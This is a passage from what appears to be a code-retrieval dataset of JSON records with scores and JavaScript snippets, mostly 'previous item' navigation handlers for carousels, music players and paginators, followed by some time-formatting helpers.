currentIndex = currentIndex === 0 ? maxIndex : currentIndex - 1;\n changePerson(currentIndex);\n}", "title": "" }, { "docid": "d8fa6178531b114db3835440476b1500", "score": "0.67268866", "text": "function viewPrevImage() {\n\t\tif (activeIndex === 0) {\n\t\t\tsetActiveIndex(images.length - 1);\n\t\t} else {\n\t\t\tsetActiveIndex(activeIndex - 1);\n\t\t}\n\t}", "title": "" }, { "docid": "5800cba919e622d15458445a0abac638", "score": "0.6724939", "text": "function previous() {\n const previousStep = state.currentStep - 1;\n\n if (previousStep >= 0) {\n dispatch({\n type: 'updateCurrentStep',\n payload: previousStep\n })\n }\n }", "title": "" }, { "docid": "09737beb78a67d999db92d26a0e5f1e1", "score": "0.67239434", "text": "_prev() {\n if (!this._lastGalleryItemClicked) {\n var prev = document.getElementById('yogurtgallery-nav-prevpage');\n if (prev)\n prev.click();\n \n return;\n }\n \n var sib = this._lastGalleryItemClicked.previousElementSibling;\n \n if (sib && sib.id !== 'yogurtgallery-dummy-item') {\n sib.click();\n }\n else {\n var prev = document.getElementById('yogurtgallery-nav-prevpage');\n if (prev) {\n prev.href = prev.href + '&popup=last';\n prev.click();\n }\n }\n }", "title": "" }, { "docid": "07d36d0795f704d3c52d48f610c553d3", "score": "0.6723906", "text": "onHeaderPreviousPress() {\n this._currentPickerDOM._showPreviousPage();\n }", "title": "" }, { "docid": "15a4d253d35450437639967f61178197", "score": "0.6715658", "text": "goToPreviousPage() {\n this.pageNumber--;\n this._pushState(); // push the new screen to the browser's history\n }", "title": "" }, { "docid": "8fefdeadb73b893687f590dc527c4e23", "score": "0.671246", "text": "handlePrevious() {\n this.dispatchEvent(new CustomEvent('previous'));\n }", "title": "" }, { "docid": "c8188b1ab967ee3b04ee6d5538162d3a", "score": "0.66901374", "text": "function prev () {\n slide(false)\n }", "title": "" }, { "docid": "69f0ee160aef2caa75a58ad1990b4e78", "score": "0.66794276", "text": "function handlePrevButtonClick(){\n count--;\n}", "title": "" }, { "docid": "12549ef245fd587f92f15c59ee77d7a2", "score": "0.6676815", "text": "async previousButtonClick()\n {\n // Remove the bale currently in the editor's view\n await HopBaleController.prevBale(this.txtFlds.namedItem(\"baleID\").innerText);\n }", "title": "" }, { "docid": "1f4ef8807a3011d5d89bd723b39c455e", "score": "0.667628", "text": "handlePrevious() {\n this.dispatchEvent(new CustomEvent(\"previous\"));\n }", "title": "" }, { "docid": "79faf7b265344baf5211d3019ac9a040", "score": "0.66707104", "text": "prev() {\n console.log(\"prev\");\n this.loadPrev();\n }", "title": "" }, { "docid": "5a90d3e090009efb188d68098bdb8dd5", "score": "0.6670104", "text": "function prevBtnPress() {\n console.log(\"CURRENT-INDEX: \", currentIndex);\n if (currentIndex === 0) {\n // currentIndex = testArray.length - 1;\n currentIndex = 0;\n } else {\n currentIndex--;\n }\n updateURL();\n updateText();\n}", "title": "" }, { "docid": "57e21888ce3020253d7463ac7ca8b6ba", "score": "0.66683525", "text": "function onPreviousLeaderboardTablePageClick() {\n if (leaderboardTableConfig.currentPage - 1 <= 0) {\n return;\n }\n\n leaderboardTableConfig.currentPage -= 1;\n refreshLeaderboardTablePageNumbers();\n refreshLeaderboardTable();\n}", "title": "" }, { "docid": "8f998c8ae89dce7b76be2e4de7ab423c", "score": "0.6657488", "text": "function previousStat(){\n var vmConDet = $scope;\n if (vmConDet.currentIndexPic > 0) {\n vmConDet.currentIndexPic--;\n vmConDet.disableNextButton=false;\n vmConDet.containerFloat = 'calc( 50% * (-' + vmConDet.currentIndexPic + ') )';\n vmConDet.disablePrevButton = false;\n if (vmConDet.currentIndexPic === 0) {\n vmConDet.disablePrevButton = true;\n }\n }\n }", "title": "" }, { "docid": "4cd882f009a077a75b5021b9cf6befe4", "score": "0.6656119", "text": "previousButton() {\n let currentStep = this.state.currentStep;\n if (currentStep !== 1) {\n return (\n <button\n className=\"btn btn-secondary\"\n type=\"button\" onClick={this._prev}>\n Previous\n </button>\n )\n }\n return null;\n }", "title": "" }, { "docid": "bf1253d305b6d9da6f3ec4a43d850d68", "score": "0.6653387", "text": "function prevQuestion() {\r\n // Go back one question\r\n position--;\r\n // Get prev question\r\n getQuestion()\r\n}", "title": "" }, { "docid": "01bf09631bfd070483c1ba780c6277e6", "score": "0.6640002", "text": "previous() {\n if (this.state.compState > 0) {\n this.setNavState(this.state.compState - 1);\n }\n }", "title": "" }, { "docid": "44e64483b245edb424b8a9f18be39837", "score": "0.6637122", "text": "async function prevQuestion() {\n toggleLoading();\n const nextId = state.id - 1;\n const cardData = await getSpecificCardData(nextId);\n updateCard(cardData);\n toggleLoading();\n }", "title": "" }, { "docid": "46b93be7fb703e298f73feff7c5feb3a", "score": "0.66340005", "text": "prev() {\n if (this.current > 0) {\n this.scenes[this.current].visible(false);\n this.scenes[this.current--].visible(true);\n }\n }", "title": "" }, { "docid": "15e6d37f698268f8e6d30a3c384e1c51", "score": "0.66323185", "text": "function prevSong(){\n songIndex--\n\n if (songIndex < 0){\n songIndex = songs.length - 1 //this is a loop. When the prev is clicked for a song playing last it should go back to the first song\n }\n\n loadSong(songs[songIndex])\n\n playSong()\n}", "title": "" }, { "docid": "2ad4296547114e8310b30fee00237cfb", "score": "0.6629363", "text": "function back() {\r\n card = document.getElementsByClassName('collapse.show')[0];\r\n award_id = card.getAttribute('data-award-id');\r\n if (award_id === award_ids[0])\r\n {\r\n display(award_ids[num_of_awards - 1]);\r\n }\r\n else\r\n {\r\n display(award_ids[award_ids.indexOf(award_id) - 1]);\r\n }\r\n}", "title": "" }, { "docid": "d7c423d21211c7978173889546761f23", "score": "0.66192937", "text": "back(){const e=this.steps.indexOf(this.currentStep);this.show(e-1,!1)}", "title": "" }, { "docid": "252d14a76a0ee33baf29f10929e81146", "score": "0.66075987", "text": "function btnPrev() {\n // var btn = $(this)\n var parent = $(this).parents('#modalForm')\n var modal_body = parent.find('.ModalForm__content')\n console.log(modal_body)\n var form = parent.find('.ModalForm__content--part')\n var dataPart = form.attr('data-form-part')\n var btnMore = parent.find('.bt-aditional')\n var btnNext = parent.find('.btn-next')\n var btnPrev = parent.find('.btn-prev')\n\n var data = meSerialize(form)\n\n if (form.attr('data-form-part') === 'tpl_data_spouse') {\n saveData(data, 'spouse')\n } else {\n saveData(data)\n }\n\n actionBtnPrev(form, dataPart, modal_body, btnMore, btnPrev, btnNext)\n }", "title": "" }, { "docid": "0f823c4bb5313f9f9060926f20fc53c1", "score": "0.6605756", "text": "handlePreviousButton() {\n const navigatePreviousEvent = new FlowNavigationBackEvent();\n this.dispatchEvent(navigatePreviousEvent);\n }", "title": "" }, { "docid": "fa9410487a53890a93dfe97146d28f04", "score": "0.6592879", "text": "function gotoPreviousSong() {\n if (songIndex === 0) {\n songIndex = songs.length - 1;\n } else {\n songIndex = songIndex - 1;\n }\n\n const isDiscPlayingNow = !disc.paused;\n loadSong(songs[songIndex]);\n resetProgress();\n if (isDiscPlayingNow) {\n playPauseMedia();\n }\n}", "title": "" }, { "docid": "8725fae462682d083d97c460ac864e27", "score": "0.65760463", "text": "function prevSong() {\n songIndex--;\n if (songIndex < 0) {\n songIndex = songDetails.length - 1;\n }\n loadSong(songDetails[songIndex]);\n playSong();\n highlight_list();\n}", "title": "" }, { "docid": "3cdd0c14ba9e4abb3a70f68e39d37d67", "score": "0.65725315", "text": "previousItem() {\n this.setLightboxItemToIndex(this.currentItemIndex -= 1);\n }", "title": "" }, { "docid": "522b38e3664a5cb65138ae0335cf298d", "score": "0.6569975", "text": "function slidePrevious() {\n\n counter--;\n\n deleteMainArticle();\n\n deleteListArticles();\n nextArticles.push(data[counter+1])\n nextArticles.push(data[counter+2])\n nextArticles.push(data[counter+3])\n displayNextArticles(); \n \n if(counter >= 0) {\n featuredArticle.push(data[counter])\n displayMainArticle();\n } else {\n counter = lastArticleIndex;\n featuredArticle.push(data[counter])\n displayMainArticle();\n }\n }", "title": "" }, { "docid": "8d729377c7f7e49187b7525ed4404898", "score": "0.65484685", "text": "function previousSong() {\n songIndex--;\n if (songIndex < 0) {\n songIndex = number_of_Songs - 1;\n };\n song.src = songs[songIndex];\n song_cover.src = song_covers[songIndex];\n song_name.innerHTML = song_names[songIndex];\n playing = true;\n playAudio();\n}", "title": "" }, { "docid": "61d625e886b2f8c5c4518c9de2a8a3c9", "score": "0.65425664", "text": "function prevCard() {\n if (i <= 0) {\n i = i;\n } else {\n i = i -1;\n }\n return termsArray[i];\n}", "title": "" }, { "docid": "005e6217d3289c8b6147dcf5420966b7", "score": "0.65371746", "text": "function back() {\n\tlet cur_view = document.getElementById(historyView.pop());\n\tlet pre_view = document.getElementById(historyView[historyView.length - 1]);\n\tif (pre_view.getAttribute(\"id\") == \"catalogView\") {\n\t\tdocument.getElementById(\"backButton\").style.display = \"none\";\n\t}\n\tpre_view.style.display = \"block\";\n\tcur_view.style.display = \"none\";\n}", "title": "" }, { "docid": "c05729188643d861469879ec0b79a97c", "score": "0.6529945", "text": "prev() {\n\t\tthis.gotoItem(this.currentItem - this.slideToScroll);\n\t}", "title": "" }, { "docid": "7eac0f12d01272d87fd9bd5878b95f44", "score": "0.65289223", "text": "previousPage() {\n let page = this.state.currentPage - 1;\n\n if (page < 0) return;\n\n this._changePage(page);\n }", "title": "" }, { "docid": "583bc1d2447f947fbe03ea38f8ee2701", "score": "0.6528683", "text": "function prev() {\n newSlide = sliderInt - 1;\n showSlide(newSlide);\n}", "title": "" }, { "docid": "8a83242b7f1b8d7952c2eaeb4f23e7c4", "score": "0.65272343", "text": "function previous() {\n if(index <= 0) {\n index = imgArray.length - 1; //scrolls to the last img of the array if user clicks previous at the beginning\n } else {\n index -= 1;\n }\n img.setAttribute('src', imgArray[index]);\n img.style.opacity = 0;\n fadeIn();\n}", "title": "" }, { "docid": "785cb50afc861ed6f89d713b17473e61", "score": "0.65267944", "text": "function switchToPrevItem() {\n const bodyContainer = document.getElementById(\"description-section\");\n const curItemName = bodyContainer.getAttribute('name');\n let ogIndex = rollInfo.findIndex((item) => item.itemName === curItemName);\n let newIndex = ((ogIndex - 1) % rollInfo.length);\n if (newIndex === 0) {\n newIndex = rollInfo.length-1;\n }\n // set newDetail Info\n setDetailInfo(newIndex);\n location.reload();\n}", "title": "" }, { "docid": "22e4211113fab385b3f09d4774db3775", "score": "0.65221184", "text": "goBack() {\n if(this.previous.view !== null) {\n this.openView(this.previous.view);\n }\n }", "title": "" }, { "docid": "e2e9fadcf129ff0ab8efcf824d77bfe3", "score": "0.6519755", "text": "function navigatePrevious() {\n var previous = im.getCreator();\n\n if(previous) {\n im = previous;\n refreshIMDisplay();\n }\n}", "title": "" }, { "docid": "b1cd703abacc8b0d6edbbb71fd7de0ea", "score": "0.65087223", "text": "function prev() {\n\t\t\n\t\tif(currentImageIndex === 0){\n\t\t\t\n\t\t\tcurrentImageIndex = totalImages - 1;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\n\t\t\tcurrentImageIndex =\tcurrentImageIndex - 1;\n\t\t}\n\t\t\n\n\t\tupdateImage();\n\t\t\n\t}", "title": "" }, { "docid": "4bf4c5cbccf5433263320f9db133273e", "score": "0.6507003", "text": "function handlePrevious() {\n currentPage--;\n if(currentPage <= 1) {\n currentPage = 1;\n }\n deinit();\n init();\n // update url to reflect page number\n updateUrl();\n }", "title": "" }, { "docid": "438e0717a1a0c42698fd41d6f4b2bb4f", "score": "0.65056837", "text": "previousPage() {\n if (this.currentPage > 0) {\n this.currentPage = this.currentPage - 1;\n this.refresh();\n }\n }", "title": "" }, { "docid": "a24459d0d0839cc446df876148026091", "score": "0.6499891", "text": "function previousSlide() {\n \"use strict\";\n var oldSlide = currentSlide;\n\n if (currentSlide === 0) {\n if (allowCycling === true) {\n currentSlide = slides.length - 1;\n } else {\n return;\n }\n } else {\n currentSlide--;\n }\n\n hideSlide(oldSlide);\n showSlide(currentSlide);\n showAllOverlays(currentSlide);\n currentOverlay = overlays[currentSlide].length - 1;\n}", "title": "" }, { "docid": "233972d1b95b74fa3a4386e20560a9de", "score": "0.64973223", "text": "function prevPage() {\n console.log('Previous Page');\n window.history.back();\n\n}", "title": "" }, { "docid": "0e3f6ec92e2124bc790bed70e05716ef", "score": "0.6494132", "text": "handlePrevious() {\n let previous = Workflow.getPrevious(this.state.currentPage, this.props.workflow);\n if (previous) {\n this.handleDirect(previous);\n }\n }", "title": "" }, { "docid": "dfa3480f80a1b30c014d2ca46cb36f4a", "score": "0.64908814", "text": "prev() {\n let i = this.gallery.findIndex(\n (artWork) => artWork === this.currentArtWork\n );\n if (i === 0) {\n i = this.gallery.length;\n }\n this.currentArtWork = this.gallery[i - 1];\n this.loadMedia(this.gallery[i - 1]);\n }", "title": "" }, { "docid": "d1593cb926a1f705d99ac48068a08053", "score": "0.64885557", "text": "function prevPage() {\n setPage(page - 1);\n }", "title": "" }, { "docid": "d1593cb926a1f705d99ac48068a08053", "score": "0.64885557", "text": "function prevPage() {\n setPage(page - 1);\n }", "title": "" }, { "docid": "389201c59aa90e22afaf778e498930fd", "score": "0.64821374", "text": "back() {\n const index = this.steps.indexOf(this.currentStep);\n this.show(index - 1, false);\n }", "title": "" }, { "docid": "9a9f4d8b381bc7b8a7daf1367f2be8fa", "score": "0.64748025", "text": "function prev() {\n if (loading) {\n debounce(next, 100);\n return;\n }\n displayedPage = Math.max(1, displayedPage - 1);\n scrollToFirstResult = true;\n render();\n }", "title": "" }, { "docid": "721bd61fe70a3776f4a7612fce607ce1", "score": "0.6474122", "text": "function handlePreviousStep(e) {\n e.preventDefault();\n\n /// si es igual o mayor a 1 le resta\n if (currentStep >= minorOfSteps) {\n currentStep -= 1;\n /// si es igual a penultimateOfStep le resta 1\n if (currentStep === penultimateOfStep) {\n currentStep -= 1;\n }\n }\n \n /// si currentStep es menor que 1 se añade la clase al btn previous para esconderlo\n if (currentStep < minorOfSteps) {\n document.querySelector(DOMstrings.previousBtn).classList.add(CSSstrings.displayNoneImportant);\n }\n\n getHtmlInput(currentStep);\n }", "title": "" }, { "docid": "618c9800a9e0d0cb54ea7704907381fe", "score": "0.64719826", "text": "previousButton() {\n let currentStep = this.state.currentStep;\n if(currentStep !==1){\n return (\n <button \n className=\"btn-secondary\" \n type=\"button\" onClick={this._prev}>\n Previous\n </button>\n )\n }\n return null;\n }", "title": "" }, { "docid": "4930f73eddfa722199077af753d00459", "score": "0.64671576", "text": "prevPage() {\n if (this.curPage === 0) return this.clearReactions();\n\n this.curPage -= 1;\n this.updateMessage(this.curPage);\n }", "title": "" }, { "docid": "262bd887af52c7cf76c752934eea64ce", "score": "0.6467083", "text": "function previousPage() {\n if (!ctrl.canPageBack()) {\n return;\n }\n\n var newOffset = MdTabsPaginationService.decreasePageOffset(getElements(), ctrl.offsetLeft);\n\n // Set the new offset\n ctrl.offsetLeft = fixOffset(newOffset);\n }", "title": "" }, { "docid": "e4dca2e8c9ccdccd5a9b97988d7285d0", "score": "0.64665747", "text": "function previous() {\n setStartIndex(startIndex - itemNumber);\n setEndIndex(endIndex - itemNumber);\n }", "title": "" }, { "docid": "7595ca67721aeef4dd5faf545656aa62", "score": "0.64637524", "text": "function previousVideo() {\n\tvar previousVidObject = myPlayer.playlist.previous();\n\tconsole.log(\"previous video loading\");\n\t$('#chn-previous-title').html(myPlayer.playlist()[myPlayer.playlist.currentItem()-1].name);\n\t$('#chn-next-title').html(myPlayer.playlist()[myPlayer.playlist.currentItem()+1].name);\n}", "title": "" }, { "docid": "32f3718cfe74b53d365138033421bd40", "score": "0.64609116", "text": "goBack() {\n this.stopRecordEvents();\n this.preview.goBack();\n this.setState({ address: this.preview.src });\n }", "title": "" }, { "docid": "5bc4448d67c4337ad65495b4efc1d30f", "score": "0.64585835", "text": "cardClicked(card) {\n if (this.pickedCards.length == 2) {\n return;\n }\n card.className = \"front\";\n card.parentNode.childNodes[1].className = \"back\";\n this.pickedCards.push(card);\n if (this.pickedCards.length == 2) {\n if (this.checkIfPair(this.pickedCards[0], this.pickedCards[1]) == false ) { //check if selected cards are not equal \n this.flipCardsBack();\n } else { // if cards are equal (a pair)\n this.isFinished();\n this.pickedCards = []; \n }\n }\n }", "title": "" }, { "docid": "2ca6afae4447efab90dca345274addba", "score": "0.645351", "text": "function prevSlide() {\n // Remove current slide from view\n slides[currentSlide].classList.remove('active')\n\n if (currentSlide > 0) {\n currentSlide--;\n } else {\n currentSlide = slides.length - 1;\n }\n showSlide(currentSlide);\n}", "title": "" }, { "docid": "bc758ee4b0cfba41040ff23254f43766", "score": "0.6452655", "text": "function previousOverlay() {\n \"use strict\";\n\n if (overlays[currentSlide].length === 0 || currentOverlay <= -1) {\n previousSlide();\n } else {\n currentOverlay--;\n hideOverlay(currentSlide, currentOverlay + 1);\n if (currentOverlay >= 0) {\n showOverlay(currentSlide, currentOverlay);\n }\n }\n}", "title": "" }, { "docid": "a11f5b8bbb0224fb25a74d1bcc8e2995", "score": "0.6444137", "text": "function prevSlide() {\n\t\tposition = $slider.find(\".show\").index() - 1;\n\t\tif (position < 0) position = size - 1;\n\t\tchangeCarousel(position);\n\t }", "title": "" }, { "docid": "dd69b3f221aee9503c104f6e5863224a", "score": "0.6443978", "text": "function previousPage() {\n currentPage -= 1;\n loadList();\n}", "title": "" }, { "docid": "8bf08f1062817e9a0bfa1dd96fb18240", "score": "0.6443268", "text": "function handlePrev() {\n let tempPage = page - 1;\n if (tempPage < 1) {\n tempPage = 1;\n }\n setPage(tempPage);\n }", "title": "" }, { "docid": "e0005b79392492e8612aa8358b8ddb3e", "score": "0.644054", "text": "function prev(){\n\tnewSlide=sliderInt - 1;\n\tshowSlide(newSlide);\n}", "title": "" } ]
6c163b9890e712751ccd37255e9b99c1
this function uses military time as a starting point from which to reflect standard time
[ { "docid": "6094821ca347be5a720a55daaa2e1d83", "score": "0.7338362", "text": "function militaryToStandard (newTime) {\n if (newTime > 12) {\n return newTime - 12;\n } else if (newTime = 12) {\n return newTime;\n }\n}", "title": "" } ]
[ { "docid": "0a02dea035d96f99aeb20edf6ada7314", "score": "0.70244807", "text": "function getMilitaryTime (startingTime, i) {\n const newTime = startingTime + i;\n return newTime;\n }", "title": "" }, { "docid": "e343584e256bedb084cf0dba0135d769", "score": "0.6758497", "text": "function get_military_time(time)\n {\n var hours = Number(time.match(/^(\\d+)/)[1]);\n var minutes = Number(time.match(/:(\\d+)/)[1]);\n var AMPM = time.match(/\\s(.*)$/)[1];\n if (AMPM == \"PM\" && hours < 12) \n hours = hours+12;\n if (AMPM == \"AM\" && hours == 12) \n hours = hours - 12;\n var sHours = hours.toString();\n var sMinutes = minutes.toString();\n if (hours<10) \n sHours = \"0\" + sHours;\n if (minutes<10) \n sMinutes = \"0\" + sMinutes;\n return sHours + ':' + sMinutes;\n }", "title": "" }, { "docid": "1cd16976d6fbfca5f027c11b4a9847ad", "score": "0.67130625", "text": "function adjustTime(t) \n {\n var hour;\n var min;\n \n var time = t;\n \n var hour = Math.floor(time);\n \n var min = Math.floor((time - hour) * 60.0 + 0.5);\n \n if (min >= 60) {\n hour += 1;\n min -= 60;\n }\n \n var ReturnTime = hour + ':' + ((min < 10) ? '0' : '') + min;\n \n return ReturnTime;\n \n }", "title": "" }, { "docid": "4af21f9a4a72ab865ae39021b534fc37", "score": "0.66951084", "text": "function getMilitaryHour () {\n const todayRightNow = new Date();\n msSinceMidnight = todayRightNow.getTime() - todayRightNow.setHours(0,0,0,0);\n currentMilitaryHour = msSinceMidnight / 3600000;\n }", "title": "" }, { "docid": "06c211dd9ea1c6011dff6ccad4922027", "score": "0.6566365", "text": "function convertTimeToMilitaryTime(time){\n //check if it's AM or PM\n let PM = time.match('PM') ? true :false\n time = time.split(':');\n let min = time[1];\n //now check if time is in PM or AM\n if(PM){\n var hour = 12 + parseInt(time[0]%12);\n var sec = time[2].replace(\"PM\",'');\n }else{\n var hour = time[0];\n var sec = time[2].replace(\"AM\",'');\n }\n time = hour + ':' + min + ':' + sec;\n return time;\n}", "title": "" }, { "docid": "6ec5be87083da652740425354ae9fa52", "score": "0.65535736", "text": "function standard2Military(str) {\n var hour = parseInt(str.split(':')[0]);\n var o = str.split(\":\")[1].split(\" \");\n var min = parseInt(o[0]);\n var AMPM = o[1];\n if(AMPM === 'AM' && hour == 12) {\n hour = 0;\n } else if(AMPM == 'PM' && hour == 12) {\n hour == 12;\n } else {\n hour = (AMPM === 'AM' && hour < 12)?hour:hour+12;\n }\n return [hour, min]; \n}", "title": "" }, { "docid": "d05289b93364fe7c6a4b7bcde634edc7", "score": "0.65515804", "text": "function convertTime(military_time) {\r\n // Get military hours and convert to normal hours\r\n var hours_military = parseInt(military_time.substring(0, 2),10);\r\n var hours = ((hours_military + 11) % 12) + 1;\r\n var amPm = '';\r\n\r\n // If military hours is greated than 11, use PM\r\n if(hours_military > 11){\r\n amPm = 'PM';\r\n }\r\n // Otherwise, use AM\r\n else {\r\n amPm = 'AM';\r\n }\r\n\r\n // Get minutes\r\n var minutes = military_time.substring(3, 5);\r\n\r\n return hours + ':' + minutes + ' ' + amPm;\r\n}", "title": "" }, { "docid": "614ab8c984332c101ed59ed3f1797b2d", "score": "0.6525943", "text": "function processRelativeTime(n,i,s,o){var l=n+\" \";switch(s){case\"s\":return i||o?\"nekaj sekund\":\"nekaj sekundami\";case\"ss\":return l+=1===n?i?\"sekundo\":\"sekundi\":2===n?i||o?\"sekundi\":\"sekundah\":n<5?i||o?\"sekunde\":\"sekundah\":\"sekund\";case\"m\":return i?\"ena minuta\":\"eno minuto\";case\"mm\":return l+=1===n?i?\"minuta\":\"minuto\":2===n?i||o?\"minuti\":\"minutama\":n<5?i||o?\"minute\":\"minutami\":i||o?\"minut\":\"minutami\";case\"h\":return i?\"ena ura\":\"eno uro\";case\"hh\":return l+=1===n?i?\"ura\":\"uro\":2===n?i||o?\"uri\":\"urama\":n<5?i||o?\"ure\":\"urami\":i||o?\"ur\":\"urami\";case\"d\":return i||o?\"en dan\":\"enim dnem\";case\"dd\":return l+=1===n?i||o?\"dan\":\"dnem\":2===n?i||o?\"dni\":\"dnevoma\":i||o?\"dni\":\"dnevi\";case\"M\":return i||o?\"en mesec\":\"enim mesecem\";case\"MM\":return l+=1===n?i||o?\"mesec\":\"mesecem\":2===n?i||o?\"meseca\":\"mesecema\":n<5?i||o?\"mesece\":\"meseci\":i||o?\"mesecev\":\"meseci\";case\"y\":return i||o?\"eno leto\":\"enim letom\";case\"yy\":return l+=1===n?i||o?\"leto\":\"letom\":2===n?i||o?\"leti\":\"letoma\":n<5?i||o?\"leta\":\"leti\":i||o?\"let\":\"leti\"}}", "title": "" }, { "docid": "79e98bd4ab18cc77399afb0a8553b6c6", "score": "0.65103745", "text": "function militaryTime(timeStr) {\n //write code here here\n timeStr + timeFactor\n const timeFactor = 12;\n const newtime=[];\n //first we check which half of day the time is. If between 1:00am and 11:59am timeStr remains same\n if (timeStr[5] && timeStr[6] === \"am\"){\n return timeStr;\n\n } else {\n //we check if time is pm. Here we will need to conver the time by adding our constant timeFactor = 12 an integer to only first two integers of timeStr\n if (timeStr[5] && timeStr[6] === \"pm\"){\n for(var i=0; i=timeStr.length; i+1) {\n\n //our timeStr will have format \"07:47pm and converted to 19:47\"\n return newtime.push(timeStr[i][i+1] + timeFactor).concat(timeStr[5][6])\n }\n}\n}\n}", "title": "" }, { "docid": "24ec24970ff22ff77c0e6affa1d6629f", "score": "0.63839626", "text": "function militaryTime(timeStr) {\n // check if last two elements of time is AM and first two elements is 12\n //remove the AM\n // check if last 2 elements of time is PM and first two elements are 12\n // add 12 to hours and remove pm\n // return military time\n var result = '',\n if(timeStr === AM && timeStr === 12){\n return(result('00'))\n }else{\n if(timeStr === 12 && timeStr === PM){\n return(result('12'))\n }\n }\n}", "title": "" }, { "docid": "24d4524744f431c870b63fae6714bd85", "score": "0.6352609", "text": "function toMilitary (time) {\n var arr = time.split(':')\n arr[0] = arr[0].padStart(2,0)\n if(arr[1][arr[1].length-2] === 'p'){\n if(arr[0] != '12'){\n arr[0] = Number(arr[0]) + 12 \n }\n arr[1] = arr[1].substr(0,arr[1].length-2)\n return arr.join(\":\")\n }else if (arr[1][arr[1].length-2] === 'a'){\n if(arr[0] === \"12\"){\n arr[0] = '00'\n }\n arr[1] = (arr[1]).substr(0,arr[1].length-2)\n return arr.join(\":\")\n }\n return time\n}", "title": "" }, { "docid": "806a397fa5e523b330756dfe4335fb9e", "score": "0.63043046", "text": "function processRelativeTime(n,i,s,o){var l={m:[\"eine Minute\",\"einer Minute\"],h:[\"eine Stunde\",\"einer Stunde\"],d:[\"ein Tag\",\"einem Tag\"],dd:[n+\" Tage\",n+\" Tagen\"],w:[\"eine Woche\",\"einer Woche\"],M:[\"ein Monat\",\"einem Monat\"],MM:[n+\" Monate\",n+\" Monaten\"],y:[\"ein Jahr\",\"einem Jahr\"],yy:[n+\" Jahre\",n+\" Jahren\"]};return i?l[s][0]:l[s][1]}", "title": "" }, { "docid": "806a397fa5e523b330756dfe4335fb9e", "score": "0.63043046", "text": "function processRelativeTime(n,i,s,o){var l={m:[\"eine Minute\",\"einer Minute\"],h:[\"eine Stunde\",\"einer Stunde\"],d:[\"ein Tag\",\"einem Tag\"],dd:[n+\" Tage\",n+\" Tagen\"],w:[\"eine Woche\",\"einer Woche\"],M:[\"ein Monat\",\"einem Monat\"],MM:[n+\" Monate\",n+\" Monaten\"],y:[\"ein Jahr\",\"einem Jahr\"],yy:[n+\" Jahre\",n+\" Jahren\"]};return i?l[s][0]:l[s][1]}", "title": "" }, { "docid": "806a397fa5e523b330756dfe4335fb9e", "score": "0.63043046", "text": "function processRelativeTime(n,i,s,o){var l={m:[\"eine Minute\",\"einer Minute\"],h:[\"eine Stunde\",\"einer Stunde\"],d:[\"ein Tag\",\"einem Tag\"],dd:[n+\" Tage\",n+\" Tagen\"],w:[\"eine Woche\",\"einer Woche\"],M:[\"ein Monat\",\"einem Monat\"],MM:[n+\" Monate\",n+\" Monaten\"],y:[\"ein Jahr\",\"einem Jahr\"],yy:[n+\" Jahre\",n+\" Jahren\"]};return i?l[s][0]:l[s][1]}", "title": "" }, { "docid": "277ed3a65eebe2c6d061886de8b75ba8", "score": "0.6288858", "text": "function toMilitary(time) {\n let timeObj = {\n \"12pm\": \"12\",\n \"1pm\": \"13\",\n \"2pm\": \"14\",\n \"3pm\": \"15\",\n \"4pm\": \"16\",\n \"5pm\": \"17\",\n \"6pm\": \"18\",\n \"7pm\": \"19\",\n \"8pm\": \"20\",\n \"9pm\": \"21\",\n \"10pm\": \"22\",\n \"11pm\": \"23\",\n \"12am\": \"00\"\n };\n const timeSplited = time.split(\":\");\n const hours = timeSplited[0] + timeSplited[1].slice(2);\n if (timeObj[hours]) {\n console.log(`${timeObj[hours]}:${timeSplited[1].split(/[\"pm\", \"am\"]/)[0]}`);\n } else\n console.log(`${timeSplited[0]}:${timeSplited[1].split(/[\"pm\", \"am\"]/)[0]}`);\n}", "title": "" }, { "docid": "ca9b95af850ff19041246db4aa8c8ba8", "score": "0.6258236", "text": "function processRelativeTime(n,i,s,o){var l={s:[\"viensas secunds\",\"'iensas secunds\"],ss:[n+\" secunds\",n+\" secunds\"],m:[\"'n míut\",\"'iens míut\"],mm:[n+\" míuts\",n+\" míuts\"],h:[\"'n þora\",\"'iensa þora\"],hh:[n+\" þoras\",n+\" þoras\"],d:[\"'n ziua\",\"'iensa ziua\"],dd:[n+\" ziuas\",n+\" ziuas\"],M:[\"'n mes\",\"'iens mes\"],MM:[n+\" mesen\",n+\" mesen\"],y:[\"'n ar\",\"'iens ar\"],yy:[n+\" ars\",n+\" ars\"]};return o||i?l[s][0]:l[s][1]}", "title": "" }, { "docid": "e5feee36cb74687d399d8f3ce7e53be5", "score": "0.6251789", "text": "function militaryTime(hourString) {\r\n switch (hourString) {\r\n case \"9 AM\":\r\n return 9;\r\n case \"10 AM\":\r\n return 10;\r\n case \"11 AM\":\r\n return 11;\r\n case \"12 PM\":\r\n return 12;\r\n case \"1 PM\":\r\n return 13;\r\n case \"2 PM\":\r\n return 14;\r\n case \"3 PM\":\r\n return 15;\r\n case \"4 PM\":\r\n return 16;\r\n case \"5 PM\":\r\n return 17;\r\n }\r\n}", "title": "" }, { "docid": "68b368e3c449306270bd9de080911cfe", "score": "0.62515026", "text": "function timeToZero(){\n timeStart = 1;\n}", "title": "" }, { "docid": "4b672a2eba5100e68e0b6475c5dd8053", "score": "0.62465525", "text": "function processRelativeTime(n,i,s,o){var l={m:[\"eng Minutt\",\"enger Minutt\"],h:[\"eng Stonn\",\"enger Stonn\"],d:[\"een Dag\",\"engem Dag\"],M:[\"ee Mount\",\"engem Mount\"],y:[\"ee Joer\",\"engem Joer\"]};return i?l[s][0]:l[s][1]}", "title": "" }, { "docid": "83fa6c5dc87bfec3b80bab5d6262f6b3", "score": "0.62378955", "text": "function mmssTime() {\n\t\tvar sec=0,min=0;\n\t\t\t\t\tif(sec==60){\n\t\t\t\t\t\tmin+=1;\n\t\t\t\t\t\tsec=0;\n\t\t\t\t\t}\n\t\t\t\t\tif(sec<10 && min<10){\t\t\t\t\n\t\t\t\t\t$(\"#clock\").html(\"0\"+min+\" : 0\" +sec);\t\t\t\t\t\n\t\t\t\t\t}else if(sec<10){\n\t\t\t\t\t\t$(\"#clock\").html(min+\" : 0\" +sec);\n\t\t\t\t\t}else if(min<10){\n\t\t\t\t\t\t$(\"#clock\").html(\"0\"+min+\" : \" +sec);\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$(\"#clock\").html(min+\" : \" +sec);\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tsec += 1;\n\t\t\t\t}", "title": "" }, { "docid": "b36572d41315e98607abf8ab4b28af79", "score": "0.62368375", "text": "function formatTime (startingTime, i) {\n const 